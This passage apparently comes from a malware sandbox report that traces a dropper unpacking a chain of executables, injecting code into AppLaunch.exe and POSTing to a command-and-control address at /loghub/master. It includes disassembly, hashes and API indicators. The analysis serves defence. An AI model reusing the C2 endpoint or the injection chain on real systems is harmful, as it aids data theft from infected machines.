esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "yh9Qx09.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4Tx380er.exe" file has an entrypoint instructions - "jmp 0x441ca5,jmp 0x458b52,jmp 0x44a320,jmp 0x4353e7,jmp 0x416b20,jmp 0x4a3960,jmp 0x435956,jmp 0x459935,jmp 0x4ac089,jmp 0x41bf7a,jmp 0x442df8,jmp 0x41aa7f,jmp 0x452cc0,jmp 0x42b40b,jmp 0x4770bf,jmp 0x4131f0,jmp 0x49234b,jmp 0x413320,jmp 0x454085,jmp 0x470ef4," "2Zz0679.exe" file has an entrypoint instructions - "jmp 0x441ca5,jmp 0x458b52,jmp 0x44a320,jmp 0x4353e7,jmp 0x416b20,jmp 0x4a3960,jmp 0x435956,jmp 0x459935,jmp 0x4ac089,jmp 0x41bf7a,jmp 0x442df8,jmp 0x41aa7f,jmp 0x452cc0,jmp 0x42b40b,jmp 0x4770bf,jmp 0x4131f0,jmp 0x49234b,jmp 0x413320,jmp 0x454085,jmp 0x470ef4," "mu6rE08.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "1BU76bP5.exe" file has an entrypoint instructions - "jmp 0x441ca5,jmp 0x458b52,jmp 0x44a320,jmp 0x4353e7,jmp 0x416b20,jmp 0x4a3960,jmp 0x435956,jmp 0x459935,jmp 0x4ac089,jmp 0x41bf7a,jmp 0x442df8,jmp 0x41aa7f,jmp 0x452cc0,jmp 0x42b40b,jmp 0x4770bf,jmp 0x4131f0,jmp 0x49234b,jmp 0x413320,jmp 0x454085,jmp 0x470ef4," "Lb2xB02.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "nk2xW14.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "5ur9cS3.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "6Pp6Px0.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42cd34," "7ho9Fx74.exe" file has an entrypoint instructions - "push 0xac,push 0,push 0x418068,call 0x405070,add esp, 0xc,push 0,call 0x405076,mov dword ptr [0x41806c], eax,push 0,push 0x1000,push 0,call 0x40507c,mov dword ptr [0x418068], eax,call 0x405000,mov eax, 0x41707c,mov dword ptr [0x41808c], eax,call 0x40e4d0,call 0x40e23d,call 0x40b120,call 0x40a9a9," "3Ix70mE.exe" file has an entrypoint instructions - "call 0x403249,jne 0x40324f,je 0x40324f,mov esp, 0x241c8b55,add esp, 4,jmp 0x403261,inc eax,sub ebx, 0x3249,jmp 0x403265,and ch, bl,cmc ,inc eax,and dh, byte ptr [ebp + eax + 0x75],add ecx, dword ptr [esi - 0x49],jecxz 0x4032d7,xor byte ptr [ebp + 5], dh,je 0x403275,sbb ebp, dword ptr [esi + 0x6eb5abe],dec esp,sub eax, eax,jmp 0x403282,sub bl, ch,stc ,dec esp,sub bl, ch,add eax, 0xf1928a88,mov byte ptr [ebx + eax + 2], ah,je 0x403295,jne 0x403295,cmp bl, dh,fcomp qword ptr [ebp + edx*8 + 0xa4b0ff],add byte ptr [eax], al,jne 0x4032a1,je 0x4032a1,jne 0x403255,add esp, 4,mov ecx, dword ptr [esp - 4],"5b:T964,"file.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\tX4Xf64.exe" (Handle: 652) "tX4Xf64.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\yh9Qx09.exe" (Handle: 664) "yh9Qx09.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\mu6rE08.exe" (Handle: 652) "mu6rE08.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Lb2xB02.exe" (Handle: 648) "Lb2xB02.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\nk2xW14.exe" (Handle: 652) "Lb2xB02.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\3Ix70mE.exe" (Handle: 676) "nk2xW14.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1BU76bP5.exe" (Handle: 652) "nk2xW14.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2Zz0679.exe" (Handle: 680) "1BU76bP5.exe" wrote 4 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "1BU76bP5.exe" wrote 512 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "1BU76bP5.exe" wrote 9216 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "1BU76bP5.exe" wrote 1536 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "2Zz0679.exe" wrote 4 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "2Zz0679.exe" wrote 1024 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "2Zz0679.exe" wrote 143872 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "2Zz0679.exe" wrote 25088 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "2Zz0679.exe" wrote 3584 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "2Zz0679.exe" wrote 512 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "2Zz0679.exe" wrote 12800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636)5c:T602,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "file") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "6Pp6Px0.exe.125725185") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")5d:Tc01,Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "file") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")5e:T98a,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "file") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "file") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "11558632662,6792,3130,,RemoveDirectoryA,kernel32.dll,"00:17:45.656",RX=0,PX=0" (Indicator: "RemoveDirectory"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")5f:Tbf1,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: AppLaunch.exe.log] Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: AppLaunch.exe.log] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00007720-00000C25-53558318] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00007720-00000C25-53675852] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00007720-00000BC1-53707345] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00006500-00000BC1-54373151] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00007164-00000BC1-55078496] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00006672-00000BC1-55818468] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00007144-00000BC1-56648185] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP005.TMP\"" [Source: 00000000-00005824-00000BC1-57373890] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007048-00000C25-59698980] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007048-00000C25-60485795] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007048-00000C25-60832369] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007048-00000C25-61019370] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00007048-00000C25-61208107] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007048-00000C25-61347349] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007048-00000C25-61495438] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007048-00000C25-61770049] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007048-00000C25-62775014]60:T650,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "file") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "file") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"activity":{"behavior_tags":null,"file_activity":{"dropped_files":[],"extracted_files":[{"name":"2Zz0679.exe","sha256":"39d2a360d81cc178fe899ccc1ff51a5c8fdd9ac837692f8ceefb5ee2942811ca","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"AppLaunch.exe.log","sha256":"c120afd1b8a0f7d3825754023f3c58ad3fa1e7bc97024a37d2f73ee2880babdd","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"undetected"},{"name":"7ho9Fx74.exe","sha256":"295d0041aa313cab0ed2c6a333739552cb2bf0ba7a7cacc92ddf0fd9e9e49b3c","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"5ur9cS3.exe","sha256":"e30788b18c5c1bfe21e3d7a9a70a481217c77aaa502c67bf63c77847efc84d12","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"mu6rE08.exe","sha256":"599a10b8485b35b18e2978f2f6afc74ab67b6bc1e14f77971488ed36adec9919","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"Lb2xB02.exe","sha256":"3049a0e6c7a8fa5187ecadc527cbd8800de79fabd144045413a7036c4f5dd707","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"1BU76bP5.exe","sha256":"34bc2d9fd10e22d4696bd46217909396f6521cca85ee45de1e0b7670e3be8138","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"tX4Xf64.exe","sha256":"955b9f7f35a4e7014c7eb117c7a9b03842c4a9383ac893dfdf17784a782b4cc1","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"6Pp6Px0.exe","sha256":"8a32a809a512f089d87ade546e61bbc6913356f3d66f5cc69226d26fe92c2f09","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"yh9Qx09.exe","sha256":"0ff04366bc46283e6f7ac6e6c415483d225352edeaa7ac2492b8f15f1cec9083","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"4Tx380er.exe","sha256":"b30a6292885b58282d2249836a3d4b8bb38010d79b95d63057bd55557876ab2d","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"3Ix70mE.exe","sha256":"028e143a3d33d32d59b1f973cbf59091c027b05c7de7e3d09247a3372e327585","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"},{"name":"nk2xW14.exe","sha256":"9e4dbe705642a541ff3f26bd118c34f97f1e83629c6d98b6e7f8a85394d849ca","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"verdict":"malicious"}],"files_deleted":[],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\AppLaunch.exe.log","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%TEMP%\\IXP000.TMP\\TMP4351$.TMP","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%TEMP%\\IXP001.TMP\\TMP4351$.TMP","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%TEMP%\\IXP003.TMP\\TMP4351$.TMP","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%SAMPLEDIR%\\Users\\%OSUSER%","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%TEMP%\\IXP002.TMP\\TMP4351$.TMP","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%TEMP%\\IXP004.TMP\\TMP4351$.TMP","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"path":"%TEMP%\\IXP005.TMP\\TMP4351$.TMP","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]}]},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:5520:168:WilStaging_02","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"name":"SM0:5520:64:WilError_01","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]}]},"network_activity":{"contacted_hosts":[{"address":"193.233.255.73","country":"Russian Federation","port":80,"protocol":"TCP","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]}],"dns_resolutions":[],"http_requests":[{"header":"POST /loghub/master HTTP/1.1\nContent-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGY\nContent-Length: 213\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)\nHost: 193.233.255.73\nConnection: Keep-Alive\nCache-Control: no-cache","host":"193.233.255.73","host_ip":"193.233.255.73:80","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}],"url":"/loghub/master"}]},"process_activity":{"all_imported_dlls":["kernel.appcore.dll","wininet.dll","IPHLPAPI.DLL","bcryptprimitives.dll","gdi32.dll","wow64cpu.dll","System.ni.dll","cfgmgr32.dll","vcruntime140_clr0400.dll","nsi.dll","ole32.dll","combase.dll","win32u.dll","sspicli.dll","advpack.dll","kernel32.dll","msvcrt.dll","ucrtbase.dll","KernelBase.dll","wow64.dll","sfc.dll","shlwapi.dll","ucrtbase_clr0400.dll","powrprof.dll","fltLib.dll","SHCore.dll","ws2_32.dll","psapi.dll","mscoree.dll","mswsock.dll","winnsi.dll","shell32.dll","ntdll.dll","cabinet.dll","VxSSL32.dll","rpcrt4.dll","comctl32.dll","AcLayers.dll","gdi32full.dll","mpr.dll","mscoreei.dll","mscorlib.ni.dll","iertutil.dll","oleaut32.dll","clrjit.dll","user32.dll","wow64win.dll","bcrypt.dll","clr.dll","imm32.dll","feclient.dll","cryptbase.dll","sfc_os.dll","advapi32.dll","setupapi.dll","msvcp_win.dll","OnDemandConnRouteHelper.dll","version.dll","winhttp.dll","apphelp.dll","sechost.dll","profapi.dll","windows.storage.dll"],"processes":[{"command_line":"","icon":"$22","name":"file.exe","normalized_path":"C:\\file.exe","pid":7720,"ppid":0,"sha256":"e776c8b8f6577d90f9fe9a73224690befcdd6a8060ca326c75ec9d5e5b1bd4b8","uid":"00000000-00007720"},{"command_line":"","name":"tX4Xf64.exe","normalized_path":"%TEMP%\\IXP000.TMP\\tX4Xf64.exe","parent_uid":"00000000-00007720","pid":6500,"ppid":7720,"sha256":"955b9f7f35a4e7014c7eb117c7a9b03842c4a9383ac893dfdf17784a782b4cc1","uid":"00000000-00006500"},{"command_line":"","name":"yh9Qx09.exe","normalized_path":"%TEMP%\\IXP001.TMP\\yh9Qx09.exe","parent_uid":"00000000-00006500","pid":7164,"ppid":6500,"sha256":"0ff04366bc46283e6f7ac6e6c415483d225352edeaa7ac2492b8f15f1cec9083","uid":"00000000-00007164"},{"command_line":"","name":"mu6rE08.exe","normalized_path":"%TEMP%\\IXP002.TMP\\mu6rE08.exe","parent_uid":"00000000-00007164","pid":6672,"ppid":7164,"sha256":"599a10b8485b35b18e2978f2f6afc74ab67b6bc1e14f77971488ed36adec9919","uid":"00000000-00006672"},{"command_line":"","name":"Lb2xB02.exe","normalized_path":"%TEMP%\\IXP003.TMP\\Lb2xB02.exe","parent_uid":"00000000-00006672","pid":7144,"ppid":6672,"sha256":"3049a0e6c7a8fa5187ecadc527cbd8800de79fabd144045413a7036c4f5dd707","uid":"00000000-00007144"},{"command_line":"","name":"nk2xW14.exe","normalized_path":"%TEMP%\\IXP004.TMP\\nk2xW14.exe","parent_uid":"00000000-00007144","pid":5824,"ppid":7144,"sha256":"9e4dbe705642a541ff3f26bd118c34f97f1e83629c6d98b6e7f8a85394d849ca","uid":"00000000-00005824"},{"command_line":"","name":"1BU76bP5.exe","normalized_path":"%TEMP%\\IXP005.TMP\\1BU76bP5.exe","parent_uid":"00000000-00005824","pid":6512,"ppid":5824,"sha256":"34bc2d9fd10e22d4696bd46217909396f6521cca85ee45de1e0b7670e3be8138","uid":"00000000-00006512"},{"command_line":"","name":"AppLaunch.exe","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe","parent_uid":"00000000-00006512","pid":7048,"ppid":6512,"sha256":"cfa7d98ad44c7fb11de5ff07da04f8fd4a3423564de05f87ba5e10bd13a1fe59","uid":"00000000-00007048"